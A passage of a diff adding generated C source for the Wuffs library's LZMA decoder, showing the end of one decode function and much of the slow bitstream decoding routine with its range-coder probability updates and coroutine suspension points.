wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_len, v_dist); ++ v_match_byte = (v_match_cusp >> 8u); ++ v_prev_byte = ((uint8_t)(v_match_cusp)); ++ } ++ } ++ label__outer__break:; ++ self->private_impl.f_stashed_bytes[0u] = v_prev_byte; ++ self->private_impl.f_stashed_bytes[1u] = ((uint8_t)(v_match_byte)); ++ self->private_impl.f_stashed_bits = v_bits; ++ self->private_impl.f_stashed_range = v_range; ++ self->private_impl.f_stashed_state = v_state; ++ self->private_impl.f_stashed_rep0 = v_rep0; ++ self->private_impl.f_stashed_rep1 = v_rep1; ++ self->private_impl.f_stashed_rep2 = v_rep2; ++ self->private_impl.f_stashed_rep3 = v_rep3; ++ self->private_impl.f_stashed_pos = v_pos; ++ self->private_impl.f_stashed_pos_end = v_pos_end; ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func lzma.decoder.decode_bitstream_slow ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream_slow( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_range = 0; ++ uint32_t v_state = 0; ++ uint32_t v_rep0 = 0; ++ uint32_t v_rep1 = 0; ++ uint32_t v_rep2 = 0; ++ uint32_t v_rep3 = 0; ++ uint32_t v_reptmp = 0; ++ uint32_t v_rep = 0; ++ uint64_t v_pos = 0; ++ uint64_t v_pos_end = 0; ++ uint32_t v_lc = 0; ++ uint64_t v_lp_mask = 0; ++ uint64_t v_pb_mask = 0; ++ uint32_t v_prob = 0; ++ uint32_t v_threshold = 0; ++ uint32_t v_tree_node = 0; ++ uint8_t v_prev_byte = 0; ++ uint32_t v_match_byte = 0; ++ uint32_t v_match_cusp = 0; ++ uint32_t v_len_state = 0; ++ uint32_t v_slot = 0; ++ uint32_t v_len = 0; ++ uint32_t v_lanl_offset = 0; ++ uint32_t v_lanl_old_offset = 0; ++ uint32_t v_lanl_index = 0; ++ uint32_t v_num_extra_bits = 0; ++ uint32_t v_dist_extra_bits = 0; ++ uint32_t v_high_bit_was_on = 0; ++ uint32_t v_i = 0; ++ uint32_t v_index_ao00 = 0; ++ uint32_t v_index_ao41 = 0; ++ uint32_t v_index_lit = 0; ++ uint32_t v_index_len = 0; ++ uint32_t v_index_small_dist_base = 0; ++ uint32_t v_index_small_dist_extra = 0; ++ uint32_t v_index_small_dist = 0; ++ uint32_t v_index_large_dist = 0; ++ uint32_t v_dist = 0; ++ uint32_t v_adj_dist = 0; ++ uint64_t v_wb_index = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_bitstream_slow; ++ if (coro_susp_point) { ++ v_bits = self->private_data.s_decode_bitstream_slow.v_bits; ++ v_range = self->private_data.s_decode_bitstream_slow.v_range; ++ v_state = self->private_data.s_decode_bitstream_slow.v_state; ++ v_rep0 = self->private_data.s_decode_bitstream_slow.v_rep0; ++ v_rep1 = self->private_data.s_decode_bitstream_slow.v_rep1; ++ v_rep2 = self->private_data.s_decode_bitstream_slow.v_rep2; ++ v_rep3 = self->private_data.s_decode_bitstream_slow.v_rep3; ++ v_rep = self->private_data.s_decode_bitstream_slow.v_rep; ++ v_pos = self->private_data.s_decode_bitstream_slow.v_pos; ++ v_pos_end = self->private_data.s_decode_bitstream_slow.v_pos_end; ++ v_lc = self->private_data.s_decode_bitstream_slow.v_lc; ++ v_lp_mask = self->private_data.s_decode_bitstream_slow.v_lp_mask; ++ v_pb_mask = self->private_data.s_decode_bitstream_slow.v_pb_mask; ++ v_tree_node = self->private_data.s_decode_bitstream_slow.v_tree_node; ++ v_prev_byte = self->private_data.s_decode_bitstream_slow.v_prev_byte; ++ v_match_byte = self->private_data.s_decode_bitstream_slow.v_match_byte; ++ v_len_state = self->private_data.s_decode_bitstream_slow.v_len_state; ++ v_slot = self->private_data.s_decode_bitstream_slow.v_slot; ++ v_len = self->private_data.s_decode_bitstream_slow.v_len; ++ v_lanl_offset = self->private_data.s_decode_bitstream_slow.v_lanl_offset; ++ v_num_extra_bits = self->private_data.s_decode_bitstream_slow.v_num_extra_bits; ++ v_dist_extra_bits = self->private_data.s_decode_bitstream_slow.v_dist_extra_bits; ++ v_i = self->private_data.s_decode_bitstream_slow.v_i; ++ v_index_lit = self->private_data.s_decode_bitstream_slow.v_index_lit; ++ v_index_len = self->private_data.s_decode_bitstream_slow.v_index_len; ++ v_index_small_dist_base = self->private_data.s_decode_bitstream_slow.v_index_small_dist_base; ++ v_index_small_dist_extra = self->private_data.s_decode_bitstream_slow.v_index_small_dist_extra; ++ v_index_large_dist = self->private_data.s_decode_bitstream_slow.v_index_large_dist; ++ v_dist = self->private_data.s_decode_bitstream_slow.v_dist; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ v_prev_byte = self->private_impl.f_stashed_bytes[0u]; ++ v_match_byte = ((uint32_t)(self->private_impl.f_stashed_bytes[1u])); ++ v_bits = self->private_impl.f_stashed_bits; ++ v_range = self->private_impl.f_stashed_range; ++ v_state = self->private_impl.f_stashed_state; ++ v_rep0 = self->private_impl.f_stashed_rep0; ++ v_rep1 = self->private_impl.f_stashed_rep1; ++ v_rep2 = self->private_impl.f_stashed_rep2; ++ v_rep3 = self->private_impl.f_stashed_rep3; ++ v_pos = self->private_impl.f_stashed_pos; ++ v_pos_end = self->private_impl.f_stashed_pos_end; ++ v_lc = self->private_impl.f_lc; ++ v_lp_mask = ((((uint64_t)(1u)) << self->private_impl.f_lp) - 1u); ++ v_pb_mask = ((((uint64_t)(1u)) << self->private_impl.f_pb) - 1u); ++ while ( ! (self->private_impl.p_decode_bitstream_slow != 0)) { ++ if (v_pos >= v_pos_end) { ++ self->private_impl.f_end_of_chunk = true; ++ break; ++ } ++ v_index_ao00 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao00[v_index_ao00])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_lit = (15u & ((((uint32_t)((v_pos & v_lp_mask))) << v_lc) | (((uint32_t)(v_prev_byte)) >> (8u - v_lc)))); ++ if (v_state >= 7u) { ++ v_lanl_offset = 256u; ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_match_byte <<= 1u; ++ v_lanl_old_offset = v_lanl_offset; ++ v_lanl_offset &= v_match_byte; ++ v_lanl_index = (v_lanl_offset + v_lanl_old_offset + v_tree_node); ++ v_prob = ((uint32_t)(self->private_data.f_probs_lit[v_index_lit][v_lanl_index])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_lanl_offset = ((v_lanl_offset ^ v_lanl_old_offset) & 256u); ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ } else { ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_lit[v_index_lit][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ } ++ v_prev_byte = ((uint8_t)(v_tree_node)); ++ self->private_data.s_decode_bitstream_slow.scratch = v_prev_byte; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (iop_a_dst == io2_a_dst) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ goto suspend; ++ } ++ *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_bitstream_slow.scratch)); ++ v_pos += 1u; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LITERAL[v_state])); ++ continue; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao20[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len_state = ((uint32_t)(WUFFS_LZMA__CLAMP_NO_MORE_THAN_3[(v_tree_node & 7u)])); ++ v_len = ((v_tree_node & 7u) + 2u); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_7 = *iop_a_src++; ++ v_c8 = t_7; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_8 = *iop_a_src++; ++ v_c8 = t_8; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_9 = *iop_a_src++; ++ v_c8 = t_9; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 10u); ++ v_len_state = 3u; ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_10 = *iop_a_src++; ++ v_c8 = t_10; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_high[0u][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_11 = *iop_a_src++; ++ v_c8 = t_11; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 255u) + 18u); ++ v_len_state = 3u; ++ } while (0); ++ v_slot = 1u; ++ while (v_slot < 64u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_slot[v_len_state][v_slot])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); ++ v_slot = (v_slot << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); ++ v_slot = ((v_slot << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_12 = *iop_a_src++; ++ v_c8 = t_12; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_slot &= 63u; ++ v_rep = v_slot; ++ if (v_slot < 4u) { ++ } else if (v_slot < 14u) { ++ v_num_extra_bits = ((v_slot >> 1u) - 1u); ++ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); ++ v_index_small_dist_base = ((uint32_t)(v_rep - v_slot)); ++ v_index_small_dist_extra = 1u; ++ v_dist_extra_bits = 0u; ++ v_i = 0u; ++ while (v_i < v_num_extra_bits) { ++ v_index_small_dist = (((uint32_t)(v_index_small_dist_base + v_index_small_dist_extra)) & 127u); ++ v_prob = ((uint32_t)(self->private_data.f_probs_small_dist[v_index_small_dist])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); ++ v_index_small_dist_extra = ((uint32_t)(v_index_small_dist_extra << 1u)); ++ v_i += 1u; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); ++ v_index_small_dist_extra = (((uint32_t)(v_index_small_dist_extra << 1u)) | 1u); ++ v_dist_extra_bits |= (((uint32_t)(1u)) << v_i); ++ v_i += 1u; ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_13 = *iop_a_src++; ++ v_c8 = t_13; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_rep += v_dist_extra_bits; ++ } else { ++ v_num_extra_bits = ((v_slot >> 1u) - 1u); ++ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); ++ v_dist_extra_bits = 0u; ++ while (true) { ++ v_range >>= 1u; ++ v_bits -= v_range; ++ v_high_bit_was_on = ((uint32_t)(0u - (v_bits >> 31u))); ++ v_bits += (v_range & v_high_bit_was_on); ++ v_dist_extra_bits = (((uint32_t)(v_dist_extra_bits << 1u)) | (((uint32_t)(v_high_bit_was_on + 1u)) & 1u)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_14 = *iop_a_src++; ++ v_c8 = t_14; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_num_extra_bits -= 1u; ++ if (v_num_extra_bits <= 4u) { ++ break; ++ } ++ } ++ v_dist_extra_bits <<= 4u; ++ v_index_large_dist = 1u; ++ while (true) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_large_dist[v_index_large_dist])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); ++ v_index_large_dist = (15u & ((uint32_t)(v_index_large_dist << 1u))); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); ++ v_index_large_dist = (15u & (((uint32_t)(v_index_large_dist << 1u)) | 1u)); ++ v_dist_extra_bits |= (((uint32_t)(1u)) << (4u - v_num_extra_bits)); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_15 = *iop_a_src++; ++ v_c8 = t_15; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_num_extra_bits -= 1u; ++ if (v_num_extra_bits <= 0u) { ++ break; ++ } ++ } ++ v_rep += v_dist_extra_bits; ++ } ++ if (v_rep >= 4294967295u) { ++ self->private_impl.f_end_of_chunk = true; ++ goto label__outer__break; ++ } ++ v_rep3 = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_rep; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_MATCH[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_16 = *iop_a_src++; ++ v_c8 = t_16; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao40[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_17 = *iop_a_src++; ++ v_c8 = t_17; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_ao41 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao41[v_index_ao41])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_18 = *iop_a_src++; ++ v_c8 = t_18; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_len = 1u; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_SHORTREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = 